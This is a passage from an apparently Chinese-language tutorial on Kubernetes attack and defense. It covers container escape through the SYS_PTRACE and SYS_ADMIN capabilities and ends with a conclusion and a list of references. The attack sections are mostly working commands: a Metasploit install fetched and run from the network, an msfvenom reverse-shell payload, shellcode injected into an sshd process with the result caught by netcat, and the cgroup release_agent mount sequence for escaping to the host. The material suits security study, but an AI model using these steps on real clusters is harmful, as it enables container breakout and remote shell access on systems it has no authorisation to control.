1 | curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall |
获取容器ip地址:10.245.1.45
1 | root@nginxtest2:/# ./cdk ifconfig |
生成shellcode:
1 | [root@master test]# msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.245.1.45 LPORT=8888 -f c |
填入 https://raw.githubusercontent.com/0x00pf/0x00sec_code/master/mem_inject/infect.c
1 | #define SHELLCODE_SIZE 74 |
编译后传到容器中
1 | gcc infect.c -o infect |
本地编译netcat传到容器执行:
1 | root@nginxtest2:/# ./netcat -lvp 8888 |
这里选择ssh进程注入,执行后netcat接收到反弹shell:
1 | root@nginxtest2:/# ./cdk ps | grep ssh |
5.7.4. SYS_ADMIN & cgroup
SYS_ADMIN
权限是Linux中的一个特权权限,拥有这个权限的进程能够执行系统管理任务,包括文件系统的挂载和卸载、修改系统时间、配置网络、加载内核模块等,其中包括对cgroup的配置和操作。
Cgroup是Linux内核中的一个功能,用于将一组进程组织成一个或多个控制组。这些控制组可以被用于限制、监控和分配系统资源,例如CPU、内存、磁盘IO等。容器技术(如Docker、LXC等)通常使用Cgroup来实现容器内资源的隔离和限制,确保容器内的进程不会过度消耗主机资源。
配置demo如下:
1 |
|
1 | apiVersion: v1 |
由于我们需要让容器启动后一直运行某个命令,否则会测试不成功,暂时不清楚原理:
1 | command: [ "/bin/bash", "-c", "--" ] |
cgroup release_agentCgroup逃逸的原理通常涉及以下几个步骤:
利用命令如下,参考 privileged/1-host-ps.sh,目前测试执行1次后就不能再执行,后续需要理解后改进:
1 | mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x |
6. 结语
k8s攻防主要包括k8s 组件、服务、认证机制、插件、容器逃逸 、相关漏洞,及在后渗透使用到的权限维持、动态准入中间人攻击等,而本文主要带大家学习了主要的组件、认证机制 和部分逃逸问题。
当然,在云原生角度上来看,我们还需要关注各云原生的组件:网关、k8s apiserver相关的二开、镜像及供应方 等等。
后续快速深入理解云原生下的攻防问题的途径就是复现学习各组件漏洞,这也可能是笔者后续的课题。
7. Reference&补充
https://github.com/neargle/my-re0-k8s-security 从零开始的Kubernetes攻防
https://icloudnative.io/posts/linux-capabilities-why-they-exist-and-how-they-work/ Linux Capabilities 入门教程:概念篇
收藏的githuh项目:https://github.com/stars/turn1tup/lists/cloudsec
蹦床攻击 @谢黎 http://xx/knowledge/info/PxcFloYBbZmy7XShUw-a/#_0
SYS_PTRACE 抓取SSH密码、SYS_MODULE https://bbs.kanxue.com/thread-276813.htm 云攻防之容器逃逸与k8s攻击手法
SYS_ADMIN devices.allow http://blog.nsfocus.net/docker/ 容器逃逸手法实践-危险配置与挂载篇
CAP_DAC_READ_SEARCH CAP_DAC_OVERRIDE @张健 http://xx/knowledge/info/nCApoIYBbZmy7XShGfDS/
lxcfs逃逸 https://github.com/neargle/my-re0-k8s-security#52-%E6%94%BB%E5%87%BB-lxcfs
历史漏洞可参考CDK wiki,及信息收集模块功能 https://github.com/cdk-team/CDK/wiki/CDK-Home-CN#exploit-%E6%A8%A1%E5%9D%97
Istio CVE-2022-2170 https://mp.weixin.qq.com/s/Y4F72s0JSyvjLBN3iNyUZg https://www.anquanke.com/post/id/272528